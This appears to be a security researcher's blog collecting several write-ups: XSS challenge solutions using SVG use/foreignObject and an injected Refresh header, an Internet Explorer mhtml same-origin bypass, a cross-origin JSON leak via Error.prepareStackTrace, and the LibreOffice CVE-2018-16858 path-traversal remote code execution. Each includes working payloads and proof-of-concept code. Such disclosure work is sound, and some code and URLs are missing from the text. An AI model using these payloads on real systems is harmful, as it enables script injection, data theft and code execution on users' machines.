XSS Challenge Solution - SVG use

I spend quite some on SVG and its features. Additionally I stumbled upon this bug report from SecurityMB, which abused the SVG use tag. So I decided it is time for a challenge based on this tag. 

Challenge Setup

The goal of the challenge was to send a message via postMessage, which originates from The deployed Content-Security-Policy only allowed the data: protocol. As this could be easily solved by using <script src=data:text/javascript,top.postMessage> or via an iframe and the srcdoc attribute, a regular expression is blocking these vectors. Additionally it is mentioned that this challenge can only be solved in Mozilla Firefox.

header("Content-Security-Policy: default-src data:");
<!DOCTYPE html>
Goal: Trigger alert - you did it <br/><br/>
Known solution: Requires Firefox <br/><br/>
Unintended solutions: Most likely possible, haven't really checked <br/><br/>
Headers: Script only adds CSP header, rest is done by the hoster <br/><br/>
Have Fun <br/><br/>
<b>Help:</b> <font color="red">Use</font> the good old <font color="red">SVG </font>
Found the solution: DM me - @insertscript  <br/>
Be the ?xss parameter with you <br/><br/>
<script src='data:text/javascript,
	if(e.origin == "")
		alert("you did it!");
<div id="testpad"></div>
<script src='data:text/javascript,
var challengeInput = new URL(location.href).searchParams.get("xss");
if (/(script|srcdoc)/gi.test(challengeInput))
	challengeInput = "<i>nope nope nope</i>";
testpad.innerHTML = challengeInput;

The solution - SVG use

Given the setup of this challenge it was not possible to use the embed, object or iframe tag to load a HTML document via data:, as the origin of the send postMessage is not ( For most tags the data: protocol is treated as a unique origin BUT not in the case of the SVG use tag. 
The SVG use tag allows to reference and load a SVG document. An example structure looks like this - note the hash as it is required to reference the ID of an element in the loaded SVG structure.

<use href='data:image/svg+xml,
<svg id="test" viewBox="0 0 120 120" version="1.1" xmlns="">
<circle fill="red" cx="60" cy="60" r="50"/>

Although the SVG specifications contains the script element, it can not be used for the solution as it doesn't get executed by the browser in the context of the SVG use tag (see here). But the SVG specification has a way more interesting tag - foreignObject


"The <foreignObject> SVG element includes elements from a different XML namespace.". This means that SVG can load additional tags from other namespaces (the browser has to support the namespace of course). Therefore it is possible to load HTML tags inside SVG via the XHTML namespace. By specifying the XHTML namespace, the iframe tag and its srcdoc attribute is available once again. This allows now to include a script tag inside a the iframe srcdoc attribute, which loads a script via the data: protocol. As the SVG document loaded via the SVG use tag is considered same origin, although the data: protocol handler is being used, the iframe and therefore its srcdoc document is considered same-origin as well.  

The URL decoded payload
<svg><use href="data:image/svg+xml;base64,

Base64 decoded SVG payload:

<svg id="rectangle" xmlns="" xmlns:xlink=""  width="1000" height="1000">
  <foreignObject width="100" height="50" requiredExtensions="">
<iframe xmlns=""
src='data:text/javascript,parent.postMessage(&quot;a&quot;, &quot;*&quot;)'
&gt;&lt;/script&gt;" /></foreignObject></svg>

The solution only works in Firefox as Google Chrome does not support the foreignObject tag in the context of the SVG use tag.

Additional notes

Through Twitter messages I was made aware that people were close to solving the challenge. They managed to inject a SVG document via SVG use and used the foreignObject tag to inject an iframe srcdoc document. But as soon as the iframe srcdoc attribute contained "<", it would no longer be loaded. This is different to the standard HTML parsing behavior most people are used to. The parsing difference is introduced by the SVG use element. It references a SVG document, which is a XML based file format. Therefore XML parsing rules are enforced. This means that not only all tags have to be closed correctly but that attributes can not contain "<" - they have to be HTML encoded (eg &#x3c; or &lt;) or else a parsing error occurs and the document isn't rendered at all (some back story about HTML vs XML). 

Lastly - why can SVG use load a document via data:, which is considered same origin and not a unique origin like in the case of eg iframe? 
I have no idea -  I know only three things:
-) Mozilla Firefox treated documents loaded via SVG use and the data: protocol handler as a same origin resource as far as I can remember. 
-) Regarding Google Chrome - I can quote my own blogpost from 2014: "Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag." - but in 2020 it does
-) The standard doesn't seem to help - maybe I didn't find the correct standard^^:

Unlike 'image', the 'use' element cannot reference entire files.

Unlike ‘image’, the ‘use’ element cannot reference entire files.

User agents may restrict external resource documents for security reasons. In particular, this specification does not allow cross-origin resource requests in ‘use’. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.

I also have to mention that different CSP directives are used for <svg><use>. Google Chrome applies CSP img-src to the use element as it does not support foreignObject and the resource is considered an image. Mozilla Firefox applies the CSP default-src directive to the use element as it basically a new document and no specific directive exists for the element. Please note that this is only my interpretation. 

So all in all things are complicated - but don't worry. Mathml has a similar tag ;)

XSS Challenge Solution - Refresh header

I used my available time to read NoScripts code and discovered an interesting check, which handles a header I either forgot about or never learned. As many people are at home now anyway, I decided to build a short challenge based on that header. This blogpost is about the relevant header, additional information about the header's behavior, the solution and an unintended solution.
In case you only want to see the solution jump to the end of this blogpost.

Challenge Setup

The code fetches the string specified in the URLs hash and passes it to chall.php. The goal was to send a postMessage request originating from the iframe. Additionally, I added X-Frame-Options: DENY, so it is not possible to frame start.php and use JavaScript to change the location of the created frame. This would have allowed to bypass the challenge completely.

File: start.php
header("X-Frame-Options: DENY");
<!DOCTYPE html>
 if (e.source == window.frames[0]){
  alert("YOU WIN!");

  alert("Nope but nice try");
 var challenge = location.hash.substr(1);
 if (challenge.length >0 )
  var hello_user = document.createElement("iframe");
Welcome to my challenge

Chall.php accepts the HTTP GET variable header. I hacked together a snippet, which parsed the variable and allowed to inject one additional header in the HTTP response.
Additionally I ensured that the HTTP response code is always 201 Created.
This ensured that in case eg. Location: is injected, the browser won't load this origin as the response code is 201 Created and therefore the header is ignored.
Note: I used 201 Created as this response code is not overwritten by PHPs Location: header implementation.

File: chall.php
 * FAKE HTTP header response injection
$headers = preg_replace("/[\r\n]+/","\n",$_GET['header']);
$headers = explode("\n",$headers);
header("X-User: name-" . $headers[0]);
<h1>Hello :)</h1>

The solution - Refresh header

To summarize: the setup required the usage of postMessage via the created iframe, which allowed to inject one additional response header. It is not possible to just inject a Location: header to load an attacker controlled page because of the HTTP/1.1 201 Created response as browsers will ignore the Location header.
The solution is to inject the Refresh: header, which is identical to the meta http-equiv="refresh" redirect many know about. This header is supported in all modern browsers and even works in HTTP/1.1 201 Created responses. The syntax looks like this:

Refresh: <time>; url=<theDomain>

As this header allows to redirect to any page, which is loaded in the frame, it is straightforward to send a postMessage to the top page. My intended solution looked like this:;%20URL=data:text/html,%3Cscript%3Etop.postMessage(%22%22,%22*%22)%3C/script%3E

This triggers the following HTTP response in chall.php:
x-user: name-abc
refresh: 0; URL=data:text/html,<script>top.postMessage("","*")</script>

This will immediately load the HTML structure specified via the data: protocol handler in the iframe, which will send a message to start.php therefore solving the challenge. In case you want to learn more about the Refresh: header - I suggest reading the blogpost of otsukare back in 2015:

Additional notes about the solution

Many submitted solutions redirected the iframe to a custom domain. But it is possible to use the data: protocol handler, as the Refresh: header is injected in the context of an iframe. It is not possible to redirect to the data: protocol handler in top level navigations, similar to the Location: header.

One additional discovery was the possibility to shorten the solution. I assumed it is necessary to specify the url= part in the Refresh header. But this is not necessary:
start.php#abc%0aRefresh: 0;data:text/html,<script>top.postMessage("","*")</script>

You can see it in action via the meta tag as well:

The unintended solution - Chrome/Safari only

Let's have a look at the winning condition again:
if (e.source == window.frames[0]){
alert("YOU WIN!");
var challenge = location.hash.substr(1);
if (challenge.length >0 ) {
/* actually do stuff */
When start.php is opened without any data in location hash it does not create an iframe. As no frame is created window.frames[0] is returning undefined. I assumed this is not a problem as the source property of a postmessage event will never be undefined or null (Note: null == undefined // true).

Michał Bentkowski (SecurityMB) discovered that it is possible in Google Chrome to use postMessage in such a way that the source property is set to null. As null == undefined returns true, the winning condition is fulfilled, and the alert is shown.
His solution requires a click as the challenge sites needs to be opened in a new window (script triggered popups are blocked by the standard popup blocker).
It is possible to test the solution:

<!DOCTYPE html>
<a href=javascript:solve()>CLICK ME<br>
  <span id=ifr>

function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
async function solve() {
  let win = ='', '_blank', 'width=500,height=500');
  await sleep(2000);
  // Send postMessage from the iframe
  // Delete the old iframe
  // now e.source is null
  ifr.innerHTML = 'aaabcd';

Lets check the solution step by step:
1) The HTML contains an empty iframe, which is used later on.
2) As soon as the function solve() is triggered, the challenge is opened in a new window and the code will wait for 2 seconds. This is solely to ensure that the challenge site is properly loaded.
3) frames[0].eval is used to send a postMessage message originating from the iframe to the challenge popup window.
4) Immediately afterwards ifr.innerHTML = 'aaabcd' is used to destroy the iframe.
5) The popup receives the postMessage event but as the source (eg the iframe) is already destroyed, the events source is set to null. Therefore the winning condition is fulfilled.

This does not work in Mozilla Firefox as it correctly sets the events source property despite the origin, the iframe, being already destroyed.

I want to thank everybody who participated in the challenge. I learned a lot and therefore I can only suggest everybody to create this kind of challenges as well.
The solutions people discover are really interesting :)

Internet Explorer mhtml: - Why you should always store user file uploads on another domain

This blogpost is about an issue I discovered some years ago in Internet Explorer. Given that it requires that ActiveX plugins like Adobe PDF or Flash are installed in IE, I feel fine to share it.

The issue is a combination of the old mhtml: protocol handler and the Content-Disposition: attachment header.
I try to keep this blogpost short but I am aware that .MHT and mhtml: are not that well known so I am going to explain it really quickly. In case you are familiar with this feature, you can skip to the end of this blog post.

MHT/MHTML - MIME Encapsulation of Aggregate HTML Documents

For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".

Filename: test.mht
Content-Type: multipart/related;  

This is a multi-part message in MIME format.  
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test.html

Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test2.html

Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: base64
Content-Location: base64.html


You can save this structure with a .mht file extension and open it in Internet Explorer. It will render the file and show <h1>32</h1> as it is the first part of the structure
To be able to reference a specific file inside this structure, the mhtml: protocol handler must be used. 

MHTML: Protocol handler 

The general structure of the mhtml: protocol handler looks like this:
mhtml:*Path to MHT file*!*Content-Location name*

Let's assume the example structure shown before is hosted on the following URL:

In case the test2.html part of the structure has to be loaded, the full URL must look like this:

This tells IE to render the content of this location:

In case the base64.html file gets referenced, IE will base64 decode the content before it is rendered. This behavior is controlled via the Content-Transfer-Encoding header.
Base64 decoded HTML structure:

These examples only showcased HTML files but the MHTML file structure allows to store any other type of file as well.
It must be noted that in case you want to test these examples, you have to serve the MHT file with the following type. The reason for this necessity will be explained in the next chapter:
Content-Type: message/rfc822

The past and the fix

In the past Internet Explorers mhtml: protocol handler implementation did not enforce strict parsing rules.
This behavior was abused in multiple ways. Developer could use it as a fallback for IE versions, which did not support the data: protocol handler. Attacker abused it to attack websites and introduce XSS vulnerabilities or implemented other attack vectors. The following list is a just short glimpse into the ways the mhtml: protocol handler was abused:

In the end Microsoft deployed a fix, which requires that any MHTML file is served with a Content-Type: message/rfc822 or the mhtml: lookup will no longer work.

Honorable mention:
In 2017 mhtml was abused once again - to trigger a universal XSS vulnerability in Chrome:

The Bug:  MHTML vs Content-Disposition

I discovered that Internet Explorer will ignore the requirement of the correctly set Content-Type header for MHTML files as soon as a Content-Disposition: attachment header is present in a HTTP response. This is not immediately exploitable. Although it is possible to use mhtml: and load a specific resource inside the structure, IE will still trigger a download.
To bypass this restriction and actually parse the resource in the browser , common Internet Explorer ActiveX plugins like Adobe Flash/PDF can be used.
Internet Explorer allows to enforce the rendering of resources via installed ActiveX plugins by using the embed or object tag, which allow to specify the corresponding content type. This behavior does not only allow to interpret the resource as a MHT file and load a resource (eg flash) but no download is triggered. Most importantly the loaded resource is considered in the origin as mhtml: is not considered as a part of the Same Origin Policy (*Notes about SOP at the end of this post*):
<embed src="mhtml:!test.swf" type="application/x-shockwave-flash" />

But this behavior has another side effect, which helps an attacker. IE does not only ignore the Content-Type requirement, it will ignore any other security headers. The most common one used to prevent this attack would be X-Frame-Options: deny, which disallows loading the resource in an iframe, embed, object or frame tag.

Theoretical real world example:

Let's assume has to serve user uploaded files on its own origin, which can be accessed by any authenticated users. It sets the following HTTP headers for these resources to ensure they are never rendered as active content inside the browser.
It does not only enforce a download but it is disallowing framing the resource (X-Frame-Options), sets a fixed and safe type (Content-Type) and disables content type sniffing (X-Content-Type-Options):

header("Content-Type: text/plain");
header('Content-Disposition: attachment; filename="test.txt"');
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: deny");
echo file_get_contents("userfile.tmp"); // contains the user controlled content

At first an attacker has to upload a MHTML file to - the following example contains a hello world PDF file, but it can be modified to contain a flash file as well. Let's assume it is stored at

Content-Type: multipart/alternative;

This is a multi-part message in MIME format.

Content-Type: application/pdf;
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf


Now an attacker has to lure an authenticated user of to his own domain eg., which contains the following HTML structure.
Note: The HTML structure does not directly specify the mhtml: protocol handler, because this will trigger Windows Defender in IE - so a HTTP redirect has to be used (yeah annoying).
<h1> MHTML protocol test case 2 </h1>
<embed src="redir.php" type="application/pdf" height="500" width="500"/>

header("Location: mhtml:!abcd.pdf");

HTTP response
HTTP/1.1 200 OK
Date: Sat, 25 Jan 2020 00:27:39 GMT
Server: Apache/2.4.37 (Debian)
Content-Disposition: attachment; filename="test.txt"
X-Content-Type-Options: nosniff
X-Frame-Options: deny
Content-Length: 1269
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

Content-Type: multipart/alternative;

This is a multi-part message in MIME format.

Content-Type: application/pdf;
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf


Despite all the headers set by, Internet Explorer will render the PDF and show "Hello World". By loading a malicious flash instead of a PDF file, it is possible to interact with in the context of the victim viewing, as the rendered resource is still operating in the origin. It must be mentioned that while re-testing this issue, I was only able to reproduce this SOP behavior for flash files but not for PDF files. Adobe Reader would ask me to allow an emtpy (' ') origin to access

Error.prepareStackTrace allows to catch cross-origin script errors

Normally it is not possible to properly catch JavaScript runtime errors, which are triggered by cross-domain JavaScript files via HTML script tags. I discovered that prepareStackTrace can bypass this restriction, when the developer console is opened by the user (I did not discover a bypass for the need of the console yet). This can lead to a cross-domain information leak as shown later. Maybe you, the reader, can find more use cases.


I discovered it via the following tweet: > "Blink: Intent to Remove: 'getThis' and 'getFunction' from the CallSite API"

This lead me to:

The JavaScript V8 engine exposes Error.prepareStackTrace(error, structuredStackTrace), which allows to capture error stracktraces.
The error parameter contains the error description. The structured stack trace is an array of CallSite objects, each of which represents a stack frame. A CallSite object defines the following methods:
- getThis: returns the value of this
- getTypeName: returns the type of this as a string. This is the name of the function stored in the constructor field of this, if available, otherwise the object’s [[Class]] internal property.
- getFunction: returns the current function
- getFunctionName: returns the name of the current function, typically its name property. If a name property is not available an attempt is made to infer a name from the function’s context.
- getMethodName: returns the name of the property of this or one of its prototypes that holds the current function
- getFileName: if this function was defined in a script returns the name of the script

Lets look at an example:

<!doctype HTML>
<meta charset="UTF-8" />
Error.prepareStackTrace = function(error,stacks)
   alert("FunctionName: " + stacks[0].getFunctionName())
   return "MyStackObject";
function test(){


This will alert the following text: "ReferenceError: nothere is not defined" and "FunctionName: test". It can be seen that the error parameter contains the string representation thrown by the JavaScript engine, as the function is not defined. The first stack value is the test function as it triggered the runtime error and therefore its name is returned by the getFunctionName call.

In case you would include remote script via <script src="http://remote/remotejs">, which causes an undefined JavaScript error, prepareStackTrace would not catch this error and it would only be displayed in the developer console.

The developer console

One interesting behavior I discovered is the fact, that Error.prepareStackTrace catches more errors when the developer console is opened. Suddenly it is able to catch "ReferenceError: <> is not defined" errors triggered by remotely loaded JavaScript files.
This does not sound too interesting at first. But modern websites often have JSON resources, which return information in an array like syntax: ["john","doe","address"], which can be loaded via a HTML script tag.
Gareth Heyes explored these kind of resources and documented his attack vectors back in 2016. One vector - Stealing JSON feeds in Chrome - abused the script tags charset attribute. By specifying the charset UTF-16BE, the remotely loaded JSON array will be interpreted as an UTF-16 variable. As it is not defined, it will cause a JavaScript runtime error. As usual Gareth abused JavaScript itself to be able to catch this undefined error. After catching the undefined UTF-16 variable, it is necessary to do some bit shifting to convert it back to the original ASCII text, therefore leaking the information to another domain. His way of catching the error was fixed in Google Chrome. 

But Error.prepareStrackTrace allows to catch "remote" undefined errors as well as soon as the developer console is opened. Therefore it is possible to abuse this attack again

The PoC

The following PoC needs to be hosted on a HTTP (not HTTPS) website or otherwise a mixed-content warning will be displayed. Of course you need to use a browser, which is using the JavaScript V8 engine like Chrome. It will display 'ReferenceError: 嬢獵灥牳散牥琢Ⱒ慢挢 is not defined', as it does not decode the UTF-16 variable:

<!doctype HTML>
<meta charset="UTF-8" />
Error.prepareStackTrace = function(error,stacks)
        return "MyStackObject";
<script charset="UTF-16BE"
<h1> open the developer console </h1>

The standard:

The behavior of Error.prepareStackTrace violates the standard (in case the developer console is opened):

6. If script's muted errors is true, then set message to "Script error.", urlString to the empty string, line and col to 0, and errorValue to null.

A muted errors boolean:

A boolean which, if true, means that error information will not be provided for errors in this script. This is used to mute errors for cross-origin scripts, since that can leak private information.

Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution

I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way.

Tested LibreOffice version: (6.0.x does not allow to pass parameters)
Tested Operating Systems: Windows + Linux (both affected)

The feature

I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used. 
I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java
JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). 

Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it):

I choosed to use the onmouseover event and the python sample installed with LibreOffice. 
After assigning this script (or event as it is called in the LibreOffice world)  and saving this file, I was able to have a look at the created file structure:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="|$createTable?language=Python&amp;location=share" xlink:type="simple"/>

This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): 
C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\ 

The file contains a createTable function.

So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog.

Important side note:  LibreOffice ships with its own python interpreter, so there is no need that python is actually installed 

The Bug

Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="$createTable?language=Python&amp;location=share" xlink:type="simple"/>

I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor!
To be sure that the feature still works with path traversal, I copy&pasted the original in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. 
Lastly I changed the content of in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped.
That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document.


To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the protocol handler:

"LOCPARAM identifies the container of the script, i.e. My Macros, or Macros, or within the current document, or in an extension."

If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled. 

The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header.

The solution

For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch):

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="$functionName(param1,param2)?language=Python&amp;location=share" xlink:type="simple"/>

As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code:

C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\

def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    with open(filename, 'w', errors='backslashreplace') as file:
        os.system(cmd + ' "' + filename + '"')

The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/>

Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload:

Reporting the bug

Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via The issue was verified and fixed quite fast. 

18.10.2018 - reported the bug
30.10.2018 - bug was fixed and added to daily builds
14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish
01.02.2019 - Blogpost published

The path traversal is fixed in (I just tested these versions):
Libreoffice: 6.0.7

Openoffice: 4.1.6 (latest version)

I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system.
To disable the support for python the in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/

Additional note

As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types.
It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that or another vulnerability version is installed)

Proof-of-concept - Copy&Paste and save it with an .fodt extension!

Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file.
